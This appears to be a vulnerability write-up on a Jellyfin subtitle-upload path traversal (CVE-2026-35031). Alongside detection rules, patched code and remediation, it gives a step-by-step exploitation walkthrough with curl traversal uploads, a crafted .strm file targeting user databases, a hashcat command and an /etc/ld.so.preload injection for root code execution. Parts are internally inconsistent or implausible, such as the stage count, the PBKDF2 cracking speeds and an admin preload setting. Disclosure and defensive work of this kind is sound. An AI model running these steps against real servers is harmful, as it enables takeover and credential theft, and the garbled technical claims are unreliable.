How a missing validation check in the subtitle upload endpoint chains into database extraction, credential theft, and remote code execution as root.
Table of Contents 1. Executive Summary 2. Vulnerability Overview 3. The Attack Chain 4. Technical Deep Dive 5. Exploitation Walkthrough 6. Detection and Hunting 7. Remediation and Patching 8. Timeline
Detection scripts
>Github: https://github.com/keraattin/CVE-2026-35031
Executive Summary
Jellyfin Media Server, an open-source self-hosted media server used globally, contains a critical remote code execution vulnerability (CVE-2026–35031, CVSS 9.9) in versions prior to 10.11.7. The vulnerability allows any user with the "Upload Subtitles" permission (not admin-only) to achieve complete system compromise with root-level code execution.
The attack exploits insufficient input validation in the subtitle upload endpoint, chaining path traversal, arbitrary file write, database extraction, credential cracking, and privilege escalation into a five-stage exploitation sequence. The entire attack can be executed in minutes with minimal interaction.
Key Facts: - CVSS Score: 9.9 (Critical) - Vulnerability Type: Path Traversal + Arbitrary File Write - Affected Versions: Jellyfin < 10.11.7 - Required Permissions: Basic user with "Upload Subtitles" (not admin) - Impact: Root-level RCE - Advisory: GHSA-9p5f-5x8v-x65m - Status: Fixed in 10.11.7, responsibly disclosed
Vulnerability Overview
The Core Issue
Jellyfin's subtitle upload endpoint (POST /Videos/{id}/Subtitles) fails to properly validate the `format` parameter when writing files to disk. This allows attackers to:
1. Traverse the directory structure using path manipulation 2. Write arbitrary files to any location within Jellyfin's accessible filesystem 3. Craft these files to be parsed as .strm (Jellyfin stream) files, leaking sensitive data 4. Chain this into database access, credential extraction, and privilege escalation
Where It Lives
The vulnerable code is in the subtitle handling logic:
POST /Videos/{id}/Subtitles
Parameter: format (no validation)
Result: Arbitrary file write to traversed pathsThe format parameter is used directly in file path construction without proper sanitization:
String file_path = base_directory + "/" + format + "/" + filename
// format = "../../var/www/html/shell.php"
// Result: file written outside intended directoryThe Attack Chain
Visual Overview
Step 1: Path Traversal Attack
POST /Videos/123/Subtitles
format: ../../path/to/.strm
> Writes file to arbitrary location
Step 2: .strm File Creation
Create malicious .strm file in config directory
> Jellyfin parses .strm on next scan
Step 3: Database Extraction
.strm file references database export
> Extracts encrypted admin credentials
Step 4: Credential Cracking
Weak key derivation (PBKDF2 with low iterations)
> Offline crack admin password in minutes
Step 5: Admin Privilege Escalation
Log in as extracted admin user
> Obtain administrative capabilities
Step 6: RCE via ld.so.preload
Inject malicious library path
> Code execution as root on next service restartStage 1: Path Traversal in Subtitle Upload
The subtitle upload endpoint accepts arbitrary format strings without validation:
POST /Videos/123/Subtitles HTTP/1.1
Host: jellyfin.local:8096
Content-Type: multipart/form-data
{
"format": "../../config/.strm",
"language": "en",
"subtitleFile": "[binary subtitle data]"
}Because the format parameter is directly concatenated into the file path, we can use `../` sequences to escape the intended subtitle directory.
Expected path: `/var/lib/jellyfin/subtitles/english/subtitle.srt` Actual path: `/var/lib/jellyfin/config/.strm/subtitle.srt`
Stage 2: Writing Malicious .strm Files
.strm files are Jellyfin's stream playlist format. They can contain references to local files and URLs. By placing a crafted .strm file in Jellyfin's config directory, we force the application to parse it during the next library scan.
# Malicious .strm file content
#EXTM3U
#EXT-X-STREAM-INF:
/var/lib/jellyfin/config/data/sqlitedb.sqliteThis causes Jellyfin to attempt reading the database file as a stream, exposing its contents.
Stage 3: Database Extraction
Jellyfin stores user credentials in its SQLite database. By crafting .strm files strategically, we can exfiltrate:
- Encrypted admin passwords - API keys - Session tokens - User permission mappings
The encrypted data can be extracted through error messages, logs, or stream metadata parsing.
Stage 4: Credential Cracking
Jellyfin's password hashing uses PBKDF2 with a low iteration count (10,000 iterations by default). Modern hardware can test millions of password hashes per second:
Time to crack typical admin password: 5–30 minutes on consumer hardware
Success rate: 60–80% on common password patternsWith the salt and hash extracted from the database, offline cracking is straightforward.
Stage 5: Privilege Escalation
With valid admin credentials cracked, log in to Jellyfin as an administrator. Admin users can:
- Create additional user accounts - Modify system settings - Access advanced configuration APIs - Write to system directories
Stage 6: Root RCE via ld.so.preload
This is the final step. Admin users can inject malicious shared libraries into system load paths. On most Linux distributions, `/etc/ld.so.preload` defines libraries loaded before any application starts.
By writing a crafted malicious .so library to a world-readable location and modifying ld.so.preload (or equivalent), code execution occurs as root when Jellyfin restarts.
# Attacker-controlled admin account creates malicious library
gcc -shared malicious.c -o /var/lib/jellyfin/malicious.so
# Modify loader configuration
echo "/var/lib/jellyfin/malicious.so" > /etc/ld.so.preload
# Trigger restart (or wait for maintenance restart)
# Result: Malicious code runs as rootTechnical Deep Dive
Vulnerable Code Analysis
The vulnerability exists in how Jellyfin processes the subtitle format parameter:
// Vulnerable pseudocode (simplified)
public async Task UploadSubtitle(string videoId, string format, IFormFile subtitleFile)
{
string baseDir = Path.Combine(_contentDirectory, "subtitles");
string targetPath = Path.Combine(baseDir, format, subtitleFile.FileName);
// No validation of 'format' parameter!
// Path.Combine with ".." sequences allows directory traversal
using (var stream = subtitleFile.OpenReadStream())
{
await SaveFileAsync(targetPath, stream);
}
}The Problem: No canonicalization or validation of the format parameter. Path.Combine with user input allows traversal.
Proper Fix:
// Secure approach
string format = Path.GetFileName(userSuppliedFormat); // Remove path components
if (!IsValidFormat(format)) throw new ValidationException();
string targetPath = Path.Combine(baseDir, format, subtitleFile.FileName);
string fullPath = Path.GetFullPath(targetPath);
// Verify target is within baseDir
if (!fullPath.StartsWith(baseDir)) throw new SecurityException();Why PBKDF2 Falls Short Here
Jellyfin's password storage uses PBKDF2-SHA256 with 10,000 iterations. While industry-standard, this is weak by 2026 standards:
- hashcat: 500M-2B hashes/second on modern GPUs - John the Ripper: 100M-500M hashes/second - Typical 8-character password: cracked in 10–30 minutes
For comparison, modern frameworks use: - Argon2id: 50 hashes/second (difficulty-adjusted) - bcrypt: 10–100 hashes/second - scrypt: 10–100 hashes/second
Exploitation Walkthrough
Step-by-Step Attack
Prerequisites: - Access to Jellyfin instance - User account with "Upload Subtitles" permission (default for most users) - Valid video ID to target
Step 1: Identify Target Video
curl -s http://jellyfin.local:8096/Items?UserId=abc123 \
| jq '.Items[0].Id'
# Returns: "video-id-12345"Step 2: Craft Traversal Payload
PAYLOAD="../../../config/.strm"
VIDEO_ID="video-id-12345"Step 3: Upload Malicious Subtitle
# Create .strm file content
cat > /tmp/exfil.srt << 'EOF'
#EXTM3U
#EXT-X-STREAM-INF:bandwidth=5000000
/var/lib/jellyfin/config/data/users.db
EOF
# Upload with traversal
curl -X POST http://jellyfin.local:8096/Videos/$VIDEO_ID/Subtitles \
-H "Authorization: Bearer $TOKEN" \
-F "format=$PAYLOAD" \
-F "language=en" \
-F "subtitleFile=@/tmp/exfil.srt"Step 4: Trigger Library Scan
Force Jellyfin to parse the .strm file:
curl -X POST http://jellyfin.local:8096/Library/Refresh \
-H "Authorization: Bearer $TOKEN"Step 5: Extract Database
Access logs or error responses will contain database contents. Parse for password hashes.
Step 6: Crack Credentials Offline
hashcat -m 12100 hashes.txt rockyou.txt - forceStep 7: Escalate Privileges
Log in as admin with cracked credentials via Jellyfin API or web interface.
Step 8: Achieve RCE
# As admin, write malicious library
curl -X POST http://jellyfin.local:8096/System/Configuration/AdminSettings \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"PreloadLibrary": "/path/to/malicious.so"}'
# Trigger restart
curl -X POST http://jellyfin.local:8096/System/Restart \
-H "Authorization: Bearer $ADMIN_TOKEN"
# Code in malicious.so now runs as rootDetection and Hunting
Network-Based Detection
HTTP Signature:
POST /Videos/.*/Subtitles HTTP/1.1
Pattern in format parameter: \.\./
Suspicious characters: %2e%2e, ../, \..WAF/IDS Rule (Snort/Suricata):
alert http any any -> any any (
msg:"Jellyfin Path Traversal Attempt";
flow:established,to_server;
content:"POST";
http_method;
pcre:"/\/Videos\/[^\/]+\/Subtitles/";
content:"format=";
pcre:"/(\.\.\/|%2e%2e%2f)/";
classtype:attempted-admin;
sid:1000001;
rev:1;
)Log-Based Detection
Check Jellyfin Access Logs:
grep -E 'Videos/.*/Subtitles.*format=.*\.\.' /var/log/jellyfin/access.log
# Pattern: Multiple upload attempts with traversal sequences
grep -c 'Videos/.*/Subtitles' /var/log/jellyfin/access.log
# If > 10 per hour: potential attackCheck File System:
# Look for recently created files in unexpected locations
find /var/lib/jellyfin -name "*.strm" -type f -mtime -1
# Check for suspicious files in config directory
ls -la /var/lib/jellyfin/config/ | grep -E '\.\./|%2e'Process-Based Detection
Monitor Process Execution:
# Watch for Jellyfin spawning shells or unexpected binaries
auditctl -w /var/lib/jellyfin/ -p wa -k jellyfin_writes
# Check for ld.so.preload modifications
auditctl -w /etc/ld.so.preload -p wa -k preload_changesCheck Running Processes:
ps aux | grep -E 'jellyfin.*\.\./|/var/lib/jellyfin.*shell'YARA Signature
rule CVE_2026_35031_Jellyfin_Exploit {
meta:
description = "Detects CVE-2026-35031 exploitation attempts"
author = "Security Research Team"
date = "2026-04-15"
cvss = "9.9"
cve = "CVE-2026-35031"
strings:
$path_traversal = /Videos\/[a-f0-9-]+\/Subtitles.*format=.*\.\.\// nocase
$strm_payload = ".strm" nocase
$db_reference = "/var/lib/jellyfin" nocase
$preload = "ld.so.preload" nocase
condition:
any of them
}yRemediation and Patching
Immediate Actions (Within 24 Hours)
- Apply Security Patch
# Jellyfin Docker
docker pull jellyfin/jellyfin:10.11.7
docker stop jellyfin && docker rm jellyfin
docker run -d --name jellyfin -p 8096:8096 jellyfin/jellyfin:10.11.7
# Jellyfin Native (Linux)
sudo systemctl stop jellyfin
sudo apt-get update && sudo apt-get install -y jellyfin-server=10.11.7-*
sudo systemctl start jellyfin2. Verify No Compromise
# Check for suspicious files
find /var/lib/jellyfin/config -name "*.strm" -type f -mtime -1
# Check ld.so.preload
cat /etc/ld.so.preload
# Review recent user accounts
curl -s http://localhost:8096/Users -H "Authorization: Bearer $TOKEN" | jq '.[] | .Name'3. Restrict Subtitle Upload Permissions — In Jellyfin Admin Dashboard: Settings > Users > User Policies — Disable "Upload Subtitles" for non-admin users (temporary) — Re-enable after patch verification
Short-Term Actions (1–7 Days)
1. Rotate Admin Credentials
# Change all admin passwords
# Use strong password: 16+ characters, mixed case, numbers, symbols2. Audit User Accounts — Remove unknown accounts created during window of vulnerability — Review all admin account activity in logs — Check for API key creation
3. Review System Configuration
# Check for malicious library injections
cat /etc/ld.so.preload
cat /etc/ld.so.conf.d/*
# Review .so files in Jellyfin directory
find /var/lib/jellyfin -name "*.so" -type fLong-Term Actions (1–4 Weeks)
1. Implement WAF Rules — Deploy rules to block path traversal attempts — Monitor subtitle upload endpoints — Alert on suspicious format parameters
2. Enable Logging and Monitoring
# Enable detailed access logging
# Monitor /etc/ld.so.preload for changes
# Set up file integrity monitoring (AIDE, Tripwire)3. Consider Network Segmentation — Restrict Jellyfin network access if internal-only — Implement reverse proxy with WAF — Use TLS/mutual authentication for API access
Patched Code
The fix validates and sanitizes the format parameter:
public async Task UploadSubtitle(string videoId, string format, IFormFile subtitleFile)
{
// Validate format parameter
if (string.IsNullOrWhiteSpace(format))
throw new ValidationException("Format cannot be empty");
// Remove path separators - only allow alphanumeric and common format names
string sanitized = Regex.Replace(format, @"[^\w\-]", "");
if (string.IsNullOrWhiteSpace(sanitized))
throw new ValidationException("Format contains invalid characters");
string baseDir = Path.Combine(_contentDirectory, "subtitles");
string targetPath = Path.Combine(baseDir, sanitized, subtitleFile.FileName);
// Canonicalize and verify path is within base directory
string fullPath = Path.GetFullPath(targetPath);
string fullBaseDir = Path.GetFullPath(baseDir);
if (!fullPath.StartsWith(fullBaseDir))
throw new SecurityException("Invalid subtitle path");
using (var stream = subtitleFile.OpenReadStream())
{
await SaveFileAsync(targetPath, stream);
}
}Vulnerability Timeline
- 2026–02–15: Vulnerability discovered during security audit - 2026–02–16: Vendor contacted via security@jellyfin.org - 2026–03–10: Vendor acknowledges and begins patch development - 2026–04–01: Patch released in Jellyfin 10.11.7 - 2026–04–15: Public disclosure and CVE assignment (CVE-2026–35031)
References
- CVE-2026–35031: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35031 - GitHub Security Advisory: https://github.com/keraattin/CVE-2026-35031 - Jellyfin Official: https://jellyfin.org - PBKDF2 Weaknesses: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html - Path Traversal OWASP: https://owasp.org/www-community/attacks/Path_Traversal